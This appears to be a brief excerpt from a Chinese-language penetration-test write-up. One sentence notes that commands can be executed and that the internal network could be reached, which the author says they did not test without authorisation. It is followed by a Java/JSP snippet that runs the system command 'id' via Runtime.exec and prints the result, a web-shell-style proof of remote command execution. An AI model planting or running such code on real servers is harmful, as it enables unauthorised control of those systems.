还可以直接执行命令呢，继续深入的话可渗透内网(未授权不敢测试)

Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec("id");
process.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
String inline;
String returnvalue = "";
while ((inline = br.readLine()) != null) {
returnvalue +=( inline );
}
br.close();
out.println(returnvalue);
